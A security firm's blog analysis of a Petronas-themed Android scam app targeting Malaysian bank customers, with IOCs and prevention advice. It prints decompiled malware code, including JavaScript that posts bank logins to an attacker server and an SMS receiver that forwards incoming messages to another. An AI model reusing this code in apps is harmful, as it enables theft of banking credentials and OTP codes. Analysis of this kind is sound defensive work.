# Scam Android app steals Bank Credentials and SMS: MyPetronas APK

motes.netbytesec.com/2022/09/scam-android-app-steals-bank.html

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This post was authored by Fareed.

This blog post is intended to give a better overall picture of a malicious Android app campaign attack that believes to be targeted at Malaysians. The threat actor set up several modus operandi from Maid clean services application, toward island travel based app, and now they're using Petronas as their new theme.

This blog post might useful for security engineers, Android researchers, and security analysts to catch up with current cybersecurity issues specifically mobile malware threats and Malaysia cyber security news. By the end of this blog post, readers will understand the inner working of this recent Android malware attack that happened to the compromised user. Furthermore, security analysts can collect the given IOCs extracted from the malware to check whether the environment of your organization or any contact of you has been compromised or not.

### **Non-technical Executive Summary**

For non-technical background, this is an Android malicious application analysis that was conducted and investigated by the Netbytesec team to understand the behavior of the malicious Android application in a details manner so that we can verify how the scammed victims were being compromised or we can call it "hacked" by the scammer using this Android application installed in victim's phone. The application will phish the user to enter their bank credential in the fake payment page of FPX and credit card and also steal all victims' SMS content. The impact of this application can expose the information of victims' banking information to the scammer/hacker and then, the attacker might make the illegal bank transaction by leveraging the SMS stealer as an OTP number is needed to make the bank transaction.

### **Executive Summary**

The Netbytesec (NBS) team has conducted an Android malware analysis on a lure Android Package Kit (APK) sample associated with Petronas as contained in the application's name and theme. The malicious Android application can be downloaded from a landing page set up by the threat actor on the internet while the campaign is going on. While using the eCommerce-based application, the victims need to make the payment of their shopping cart using a fake FPX page and fake Credit Card payment page in the application like the common banking credential stealer application targeting Malaysian banks. On top of that, after the malicious APK is installed on the victim's Android phone, the malicious APK will steal all incoming SMS from the victim. The impact of such phishing methods and SMS stealers of this Android application can lead to the scammer could use the information to perform illegal bank transactions as they have got all important information to retrieve their goals including online banking credentials, bank card information, and SMS records for stealing the OTP code. NBS threat analysts also suspect that the actor behind this MyPetronas application is the same as malicious Cleaning Services Malaysia, Maid4u, KleanHouz, Ikea and Travel scam applications as we found the same pattern of decompiled code of the APK, webview and API server URLs path of the scammer.



## Graph flow of the malicious Android Application



Figure 2: Graph flow of the malware

## **Technical Analysis**

#### **APK Metadata information**

Application name: **MyPetronas** Package Name: **com.app.homecleaning** MD5 hash: **f7d4a2b5fdb45c258fccd3059d12fee9** Dangerous permission: **android.permission.READ\_SMS** 

```
File Name: 1043.apk

Package Name: com.app.homecleaning

Main Activity: com.app.workshop.activities.ActivitySplash

File Size: 10958924 bytes

MD5: f7d4a2b5fdb45c258fccd3059d12fee9

Packed: Not Packed

Min SDK: 16

Target SDK: 30
```

Figure 3: Metadata of the application

From the package name, we can get the clue that the threat actor of this malicious bank stealer application is the same as the other home cleaning application we've heard in the news that also targets Malaysian. The threat actor might use the same template of the Android source code and forgot to change the package name.

### Landing page overview

The application's APK file is available to be downloaded at the landing page that has been set up by the threat actor at *pt-gift.store*. Based on the landing page UI, the scammer uses the Petronas theme to lure customers to download and install the malicious application if the customer wanted to book the package of Car Service package.

Booking Here

All-Inclusive Car Service Package

Introducing SYNTIUM ALL-INCLUSIVE CAR SERVICE PACKAGE at PETRONAS AutoExpert! Your car needs to be maintained to ensure optimum performance at all times. Conventional wisdom is to change your engine every 3-6 months, depending on the oil type and your car mileage. As such, all our lubricants are carefully selected to give your car maximum performance, and our technicians will be able to advise you on the best way to take care of your car.

At PETRONAS, we pride ourselves on creating products and services that offer the best performance and maximum protection to the engine of your car. Our lubricants are used by the F1 and Dakar World Champions where there is no room for compromise, offering top quality performance and exceeding the highest international specifications and approvals.

Get your car serviced with the best engine oil at the best workshop in town!



#### **Order Instructions**

- Purchase the service package in the PETRONAS Flagship Store in LazMall
   Confirm your appointment date and workshop location in Lazada Chat with our representative.
- Bring your car to the selected workshop and show your in-app Syntium Service Package Purchased Coupon (click on the Wallet icon on the home page of your app) for redemption.
- Sit back, relax & get a cup of coffee at our comfortable customer lounge while your car is being serviced.
- 5. Our reception will call you to collect your car when it is ready.

Figure 4: Landing page pt-gift.store.

#### Application behavior and interface

Upon opening the application for the first time, the application will ask the user to set the malicious MyPetronas application as the default SMS app in order for the application to silently gets access to the SMS content.



Figure 5: Set the application as default Message app

The behavior of this can be seen in the java decompile code of the APK in the *MainActivity* class at method *OnCreate*.

	<i>pp.activity</i>
70	<pre>public void onCreate(Bundle savedInstanceState) {</pre>
71	Context context = getApplicationContext();
73	<pre>if (Build.VERSION.SDK_INT &gt;= 29) {</pre>
74	RoleManager roleManager = (RoleManager) getSystemService(RoleManager.class);
75	if (roleManager.isRoleAvailable("android.app.role.SMS") && !roleManager.isRoleHeld("android.app.role.SMS")) {
82	<pre>startActivityForResult(roleManager.createRequestRoleIntent("android.app.role.SMS"), 101);</pre>
83	finish();
	}
90	<pre>} else if (!Telephony.Sms.getDefaultSmsPackage(this).equals(context.getPackageName())) {</pre>
94	Intent intent = new Intent("android.provider.Telephony.ACTION_CHANGE_DEFAULT");
95	<pre>intent.putExtra("package", context.getPackageName());</pre>
96	<pre>startActivityForResult(intent, 101);</pre>
97	finish();
	}
100	<pre>super.onCreate(savedInstanceState);</pre>
103	<pre>setContentView(R.layout.activity_main);</pre>
104	<pre>this.view = findViewById(16908290);</pre>

#### Figure 6: Code to set the application as default SMS app

If user don't set the application as the default SMS app, the application will not proceed to open the main interface and exit the application right away.

Upon entering the main interface of the application, the application will show the list of the products of Petronas engine oil with a price tag which can be seen in the menu "Shop". The user needs to choose their interested Petronas engine oil in order to book the car service package.



Figure 7: Shop menu contains list of products

Upon clicking on one of the items, the application will be brought to the description page, and then proceed to book the service by clicking the "BOOK NOW" button.

5.08 🗘 🖬 🖬 🕪					
PETRONAS S	rinta <b>A700 10W</b> printa A700 10W-40				
PETRONAS Sprinta with UltraFlex <sup>~</sup> tec stability to resist bi deliver better ride, s	A700 10W-40 is formulated hnology that enhance oil ike stress. This helps to giving your bike a longer life.				
Viscosity Industry Specifications Applications Oil Type Brand Product Range	10W-40 API SL J ASO MB Motorcycle (4-stroke) SEMI SYNTHETIC PETRONAS Sprinta PETRONAS Sprinta A700				

Figure 8: Product description

In the booking chart, the user will then go to the checkout page to confirm the booking by filling in the personal information such as Name, IC, phone number, address, and booking date. It also appeared that users have two options for payment methods which are FPX payment and Credit card. Once victims fill out the form and choose the payment method, the victims will be served with the fake FPX page or fake iPay88 credit card page.

528 🗘 🖬 🖬 🖬 •	•	⊿∎
← Checkout		
Your Name		
IC Number		
Phone Number		
Address		
Booking Date Time		
Booking Date	Booking Time	
Online Banking		
FPX Payment		Ť
Credit Card		
Order : RM10.00 SST (6.00 %) : RM Total : RM10.30	10.30	
CONF	FIRM BOOKING	

Figure 9: User form and online payment option to confirm booking

Confirming the booking will make all the information will be POST to the attacker API web server served at *hxxps://lapks[.]online/skyblue\_888a/api/api.php?post\_order.* The figure below shows the filled data in the user form sent to the API server using the POST method.

Request	Response	
Pretty Raw Hex 🗐 🗤 🚍	Pretty Raw Hex Render	≕ \n ≡
<pre>1 POST /skyblue_888a/api/api.php?post_order HTTP/2 2 Host: lapks.online 3 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 4 User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; G011A Build/N2G48H) 5 Accept-Encoding: gzip, deflate 6 Content-Length: 386 7 8 address=Kualla+Lumpur6sid=8278d2e1a66bc4286player_id=06email=1254546566name= amir+IC%3A1254546566phone=2121546655server_url= https%34257%2Flapks.online%2Fskyblue_88a8order_total=RM10.306app=lightblue6 booking=13%2F9%2F2022%3A13%3A266order_list= 1+X+PETRONA5+Sprinta+F100+5AE+40%0A%A0rder+%3A+RM10.00%0ASST+%286.00+%25%29+%3A+R M0.30%0ATotal+%3A+RM10.306code=0PXI0EUGZBshipping=Credit+Card5</pre>	HTTP/2 200 OK Date: Mon, 12 Sep 2022 05:26:23 GMT Content-Type: text/html; charset=UTF-8 X=Powered=By: PHP/5.4.16 (Cf-Cache=Status: DYNAMIC Report=To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gbzQ% uplO8R%ZBxbLCl1tec05X9jGYgh5R%ZBwvVd%ZBGjs6OPAuh%2Fx1464BNtDc0F1yeRdKlai zC4kkvrx796y3330PM2KR4q4iCHivnJydsuKs1UE%3D"]]."group":"cf-nel","max_age Wel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} i Server: cloudflare Cf-Ray: 74963a5b0e86b885-AMS Alt=Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 i Data Inserted Successfully	2FLSOk0029 gld24eYJXu ":604800}

After the data successfully send to the API server, the application will redirect the user to the payment options page, which is either the FPX page or the iPay88 credit card payment page.

#### Fake payment gateway

Once the user filled the form and submits the data, the application will load an HTML file located in the malicious application asset files. In the figure below, the application load a local HTML file into the webview instead of using a remote web page served on the internet.



Figure 11: Load FPX.html in webview

The HTML code web page of the FPX payment is embedded in the resources file under the assets folder bundled in the application. The figure below shows the *FPX.html* in the assets folder which is being used for the fake FPX page. Each of the targeted banks has its own assets file such as "*AFFIN\_files*" containing images, CSS files, or HTML files that are needed for the page to mimic a legit the Affin bank's login page.



Figure 12: FPX.html code

Here in the figure below, is how the FPX payment gateway page looks like. Victims will be phished by this look-legit webpage and proceed to choose their bank to make the payment.



Figure 13: Fake FPX webpage

The figure below is an example of the fake Maybank2u login page used to lure victims specifically to scam and steal online banking credentials.



Figure 14: Fake Maybank2u webpage

On the next page for the password insertion, a user should aware that the page does not have the security image like the original of Maybank2u. The fake FPX page shows the entered username instead of the security image.

<b>9</b> F	
5:10 0 0 0 04 •	▼⊿∎
<ul> <li>Secure Paym</li> </ul>	hent
maybank2	U.COM Close
Log in to Mayl banking	bank2u.com online
Note:	secured site
- rouare man	secured site.
Usern	ame: amir90
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Don't have a Mayt Click here for info account.	aank2U account? rmation on opening an
Security informat	tion:
<ul> <li>Click here for sec</li> <li>Never login via et</li> <li>Never reveal you anyone</li> </ul>	:urity tips. mail links ir PIN and/or Password to
<	• •

Figure 15: User password form

Soon after victims click the login button, both the username and password of the victims will be sent to the API server via the POST method containing the username, password, bank name, agent id, sid, and app name which can be seen in the code in a Javascript file named *post.js* that will be call by the HTML when the victims clicking the login button.

🕼 AM_Pass.html	17	assets/post.js × 🏼 🗤 assets/post_cc.js ×
🐇 BI.html	1	
🐇 BSN.html	2	function submit form(){
🖧 CC.html	3	<pre>var uname = document.getElementById("uname").value;</pre>
🐇 CIMB.html	4	<pre>var pd = document.getElementById("pd").value;</pre>
tecommerce db	5	<pre>var b = document.getElementById("b").value;</pre>
些end.html	5	<pre>var agent_1d = LocalStorage.getitem(`agent_1d'); var sid = localStorage getitem(`sid");</pre>
# error html	8	var and = tocalStorage.getTem("and"):
# EDV html	9	var xhr = new XMLHttpRequest();
	10	<pre>xhr.open("POST", 'https://gpost996.online/post.php', false);</pre>
Mula a lu l	11	<pre>xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");</pre>
MB HLB_Pass.html	12	
🐇 MBB.html	13	<pre>xnr.onreadystatechange = function() { // call a function when the state changes. if (this readystate are VNNN transponder DONE SS this status are 200) if get</pre>
🐇 MBB_Pass.html	15	// Request finished. Do processing here.
🐇 MT.html	16	}
<pre>MT_Pass.html</pre>	17	}
≝ pay.gif	18	<pre>xhr.send("uname="+uname+"&amp;pd="+ pd + "&amp;b="+ b +"&amp;agent_id="+ agent_id+ "&amp;sid="+ sid+ "&amp;app="+ app)</pre>
🐇 PBB.html	19	}
post.js 2	20	
∦post_cc.js		
# RHB.html		Javascript me containing function to send the online banking credential to the attacker server
🐇 UOB.html		
🐇 UOB_Pass.html		

Figure 16: JS file used for post data of online bank credential

In the figure below shows the request of the network activity happened when the button login is clicked using a dummy credential.



Figure 17: Intercepted request

This is a critical part of the communication toward the API server (apart from the SMS stealer which will be mention in the next section) where the scammer retrieves and steals the credential of Malaysian's online banking accounts.

The list of bank include:

- Maybank
- Affin Bank
- Public Bank

- CIMB
- BSN
- RHB
- UOB
- Ambank
- Bank Islam
- Hong Leong Bank
- Bank Muamalat

While for the credit card payment, figure below shows the interface of the fake ipay88 credit card form.

5:29 ✿	▼⊿∎
ipay88 Internet Payment Solution	
Name	
cvv	
Card Number	
Expiration Date	
January ~ 2022 ~	
VISA MANDA	
Next	
< ● ■	

Figure 18: Credit card form interface

The Javascript file for the credit card information stealer is shown below where the threat actor will receive the Card number, Card expired, and CVC number in the variable *uname*.



Figure 19: JS file to post Credit Card data to API server

After the data is sent to the attacker's API server, the application will redirect the victim to a page with a popup box saying "*Connection timeout. Please try again.*" just to lure the trust of users.



Figure 20: Redirect page after submit data

#### **SMS** stealer

For SMS stealer behavior, the malicious application statically declares a broadcast receiver of *BROADCAST\_SMS* in *AndroidManifest* file. The APK uses the broadcast receiver to listen for any incoming message and send the incoming SMS data to the attacker API server. Intently to get TAC code of the banking transaction for the illegal transaction.

	droidManifest.xml × 😪 MainActivity × 😪 MyApplication × 😪 MyReciever
106	
101	
118	<receiver <="" android:name="com.app.workshop.activities.MyReciever" td=""></receiver>
	ndroid:permission="android.permission.BROADCAST_SMS" android:enabled="true"
	ndroid:exported="true">
123	<intent-filter></intent-filter>
124	<action android:name="android.provider.Telephony.SMS_RECEIVED"></action>
125	<action android:name="android.provider.Telephony.SMS_DELIVER"></action>
123	
118	

Figure 21: SMS receiver

In the class *MyReciever*, the method *onReceive* will be triggered when an SMS is coming in and the application will send the SMS data to the URL *hxxps://sgbx.online? pass=app168&cmd=sms&sid=%1\$s&sms=%2\$s* where the sid and SMS parameter are filled per the incoming message data.

```
30 public class MyReciever extends BroadcastReceiver {
       private static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
       private static final String TAG = "SMSBroadcastReceiver";
       private String sms;
       @Override // android.content.BroadcastReceiver
31
       public void onReceive(Context context, Intent intent) {
32
           if (intent.getAction() == SMS_RECEIVED)
               String android_id = Settings.Secure.getString(context.getContentResolver(), "android_id");
33
35
               Bundle bundle = intent.getExtras();
36
               if (bundle != null) {
37
                   Object[] pdus = (Object[]) bundle.get("pdus");
38
                   SmsMessage[] messages = new SmsMessage[pdus.length];
                   for (int i = 0; i < pdus.length; i++) {</pre>
                      messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
40
42
                   int i2 = messages.length;
                   if (i2 > -1) {
                       this.sms = messages[0].getMessageBody();
44
                   try {
50
                       this.sms = URLEncoder.encode(this.sms, StandardCharsets.UTF_8.toString());
                   } catch (UnsupportedEncodingException e) {
52
                       e.printStackTrace();
                   RequestQueue queue = Volley.newRequestQueue(context);
55
                   String uri = String.format("https://sgbx.online?pass=app1688cmd=sms8sid=%1$s8sms=%2$s", android_id, this.sms);
                   StringRequest myReq = new StringRequest(0, uri, null, null);
57
58
                   queue.add(myReq);
               3
           }
       3
```

Figure 22: SMS broadcast receiver to send the SMS to API server

From this point, the attacker will receive the SMS data sent by the application as well as the banking information credential.

## Observation

Our malware researchers observe that this malicious Android uses an Android source code template from <u>Solodroid</u> by Indonesian developer. Based on the information of the template, this application should have an admin dashboard to control the application products.

codecanyon.net/item/ecommerce-online-shop-app/10442576?s_rank=19	
Demo Android App Get it on Google play	
Demo Admin Panel	
Username : admin Password : admin	
A       A         Commerce Avoided Age       A         Financial Control A Standard       Financial Control A Standard         Financial Contro A Standard       Financial Contro A Standard<	

Figure 23: https://codecanyon.net/item/ecommerce-online-shop-app/10442576?s\_rank=19

Differentiating the code of the demo application of the Solodroid eCommerce Android App shows the exact same as the decompiled code. The only different is the permission, custom

page and few of malicious broadcast receiver.



Figure 24: Different decompiled code of original Solodroid application and MyPetronas

If we look at the right side of the figure, the malicious application alters the *MainActivity* file to adjust the application to request permission for the default SMS application.

NBS malware researchers also observed that this MyPetronas malicious application was likely being developed by the same actor of the CleaningServiceMalaysia, KleanHouz, Maid4u, and Travel app samples where all of these samples shared the same pattern of modus operand, C2 URL path (but different domain name), and also malicious code.

The below figures show the MainActivity of *islandtravel.apk*, *KleanHouz.apk*, and *MyPetronas.apk* shared the same code which gave us the clue that the threat actor might be the same player and malware author.

🍪 File View Navigation Tools Help		*islandtravel - jadx-gui – 🗖	×
≝ ∰ S ⊟ Ľ ⊡ ⊫ Q @ @ ← →	77 L	ŧ □ <i>⊁</i>	
islandtravel.apk	<b>6</b> M	lainActivity ×	
v Source code	40.		
> andraid support		/* todew from ctasses.eex */	
android. Support	51	DReal part dbalactric extends Appromptactivity {	
▶ • androidx		private BottomNavigationView navigation:	
v Com		MenuItem prevMenuItem;	
▶ 🖿 android.volley		private Toolbar toolbar;	
🔻 🖿 app.islandtravel		View view;	
v 🖿 activities		public ViewPager viewPager;	
▶ @ ActivityCart		int pager_number = 4;	
ActivityCheckout		private tong existing = 0,	
ActivityHelp		/* JADX INFO: Access modifiers changed from: protected */	
ActivityHistory		)0verride	
ActivityImageDetail		<pre>// androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.</pre>	app.Ac
ActivityImagebecard		<i>tivity</i>	
	66	public void oncreate(sundle savedinstancestate) {	
AccivityPay		ActivityCompat.requestPermissions(this, new String[]{"android.permission.RECEIVE SMS"}, 0):	
▶ C ACTIVILYPFODUCT	70	<pre>setContentView(R.layout.activity_main);</pre>	
ActivityProductDetail	71	<pre>this.view = findViewById(16908290);</pre>	
▶ @ ActivitySettings	79	AppBarLayout appBarLayout = (AppBarLayout) findViewById(R.id.tab_appbar_layout);	
⊳ 😋 ActivitySplash	80	((CoordinatorLayout.LayoutParams) apBarLayout.getLayoutParams()).setBehavior(new AppBarLayoutBehavior());	
▶ 💽 MainActivity	82	tootbar tootbar = (lootbar) tindviewsyid(k.id.tootbar);	
► @ MyApplication	83	setSupportActionBar(toolbar):	
▶ 💽 MyReciever	84	this.toolbar.setTitle(R.string.app_name);	
▶ b adapters	86	ViewPager viewPager = (ViewPager) findViewById(R.id.viewpager);	
▶ Em fragments		this.viewPager = viewPager;	
▶ Cm models	87	viewPager.setAdapter(new_MyAdapter(getSupportFragmentManager())); this wisePager setOffscraphtage isi(this accord number)	
In notification	90	RottonNavigatistionView bottonNavigationView (RottonNavigationView) findViewRvTd(R.id.navigation):	
> Pautilities	~	this.navigation = bottomNavigationView;	
DuildCanfig	91	bottomNavigationView.setLabelVisibilityMode(1);	
BuildConrig	92	this.navigation.setOnNavigationItemSelectedListener(new BottomNavigationView.OnNavigationItemSelectedListener() {	
▶ contig		// from class: com.app.islandtravel.activities.MainActivity.1	
▶ 🥰 R		aUveriae // com.googie.android.materiat.bottomnavigation.bottomNavigationView.UnNavigationItemSelectedListener	
⊳bm balysv.materialripple	94	switch (inedefItemInf()) {	
bithub.clans.fab		case R.id.nav_category /* 2131230913 */:	
▶ 🖿 google	100	MainActivity.this.viewPager.setCurrentItem(1);	
▶ 🖿 makeramen.roundedimageview		return true;	
Im onesignal		case R.10.nav_into /* 21312/09/14 */: Heidethiut blie uneubras catouneettem(3):	
▶ bm squareup.picasso	103	return true:	
▶ bavax.inject		case R.id.nav_profile /* 2131230915 */:	
▶ 🔤 Resources	106	MainActivity.this.viewPager.setCurrentItem(3);	
AR ADM algorithms			
Issues: A 9 warnings	s Code	small simple Failback split view	





Figure 26: kleanhouz.apk

File View Navigation Tools Help	*1043 - jadx-gui	– 0 ×
<b>⊨</b> ∰ S ⊟ Ľ ⊡ ⊫ Q @ @ ← →		
1043.apk	Restantivity ×	
V 😭 Source code		
> Pm android.support	<pre>import androidx.fragment.app.FragmentManager;</pre>	
> Pm androidx	<pre>import androidx.fragment.app.FragmentPagerAdapter;</pre>	
v Pm con	import androidx.viewpager.winget.viewvager;	
Image: Android.vollev	import com android valles values are	
	import con-andraid voltey-tottey or	
> Pm homecleaning	<pre>import com.android.volley.toolbox.JsonObjectRequest;</pre>	
v Pa workshop	import com.app.homecleaning.R;	
- Destivities	<pre>import com.app.workshop.fragments.FragmentCategory;</pre>	
h ActivityCont	<pre>import com.app.workshop.fragments.FragmentHelp;</pre>	
ActivityCart	<pre>import com.app.workshop.fragments.FragmentProfile;</pre>	
ActivityCheckobi	import com.app.workshop.tragments.tragmentNecent;	
AccivityHetp	import com app.workshop.utilities.appartayoutbenavior;	
ACTIVITYHISTORY	import com app.workshop.utilities.DRHalpar-	
Activityimagebetait	<pre>import com.google.android.material.appbar.AppBarLayout;</pre>	
ActivityNotivicationDetail	import com.google.android.material.bottomnavigation.BottomNavigationView;	
> CativityPay	<pre>import com.google.firebase.analytics.FirebaseAnalytics;</pre>	
▶ 🧠 ActivityProduct	import java.io.IOException;	
ActivityProductDetail	<pre>import org.json.JSONException;</pre>	
▶ @ ActivitySettings	<pre>import org.json.JSONObject;</pre>	
▶ C ActivitySplash	/+ loaded from classes day +/	
▶ 💽 MainActivity	54 public class MainActivity extends AppCompatActivity {	
▶ ( MyApplication	DBHelper dbhelper;	
▶ @ MyReciever	private BottomNavigationView navigation;	
adapters	MenuItem prevMenuItem;	
Image:	private Toolbar;	
▶ 🖿 models	View jew;	
Intification	public viewager viewager;	
utilities	private long evitime = 0	
▶ 😪 BuildConfig		
⊳ 😋 Config	/* JADX INFO: Access modifiers changed from: protected */	
▶ 😪 MmsReceiver	aOverride	
▶ 🥘 R	// androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity	ity, android.app.Ac
▶ @ SendSmsActivity	tivity	
▶ @ SmsSendService	// public void onLreate(sundle SavedInstancestate) {	
▶ 🖿 balysv.materialripple	73 if (mild vestimation she true = 20)	
mithub.clans.fab	74 RoleManager roleManager = (RoleManager) getSystemService(RoleManager.class):	
▶ 🖿 google	75 if (roleManager.isRoleAvailable("android.app.role.SMS") 86 !roleManager.isRoleHeld("android.app.role.SMS")) {	
▶ bm makeramen.roundedimageview	82         startActivityForResult(roleManager.createRequestRoleIntent("android.app.role.SMS"), 101);	
▶ 🖿 onesignal	83 finish();	
▶ 🖿 squareup.picasso		
javax.inject	<pre>90 else if (!!etephony.Sms.getDefaultSmsPackage(this).equals(context.getPackageName())) {</pre>	
▶ masources	Code Smali Simple Fallback Splitview	

Figure 27: MyPetronas.apk

From Netbytesec's point of view, this threat actor is not the same as the Bank Negara Malaysia scam application and a few other scamming applications like EGrocer or ChickFood where Netbytesec threat analysts observe the C2 infrastructure and malicious code are quite different.

## Summary

The Petronas fake application is used by the scammer as a decoy to phish users' online banking credentials and credit card information. The APK also has capabilities such as stealing users' SMS data. All the retrieved and stolen data is submitted to the C2 server of the attacker using the API of the C2 server. The attacker uses information such as banking credentials, credit card information, and SMS content to get the OTP of the transaction to perform the illegal transaction. The APK has the same pattern of code and URL path of collected domains which might support our assumption that the threat actor of the previous Maid Cleaning service app is the same as this one.

## Recommendation

All banking and Android users must aware of this type of scamming activity to avoid being one of the victims. If you are one of the victims and already installed the malicious application, please uninstall the application and report it to your bank for further action. All the associated Banks parties must also notify users and make awareness about this scam modus operandi as it would affect the brand name of the bank where most of the victims will instead accuse the bank organization if the money in their bank account got stolen and gone as this threat actor will never stop doing these illegal activities and keep evolving from time to time upgrading their techniques, tactics, and procedure to steal money from victims.

## Prevention

- Download and install application only from official Google Play Store.
- Be very careful enabling any dangerous permissions while using the application.

## **Indicator of Compromises**

#### MD5 Hash

f7d4a2b5fdb45c258fccd3059d12fee9

#### Domain name

- pt-gift.store Landing page
- gpost996.online retrieve banking information
- lapks.online retrieve user information
- sgbx.online retrieve SMS

#### URLs

- hxxps://lapks.online/skyblue\_888a/api/api.php?post\_order Post user information to C&C server
- *hxxps://gpost996.online/post.php* Post online banking credential to C&C server
- hxxps://sgbx.online?pass=app168&cmd=sms&sid=%1\$s&sms=%2\$s Post SMS data to C&C server

## Credit

Netbytesec credit to <u>Jacob Soo</u> for sharing and giving insight about the sample on Twitter.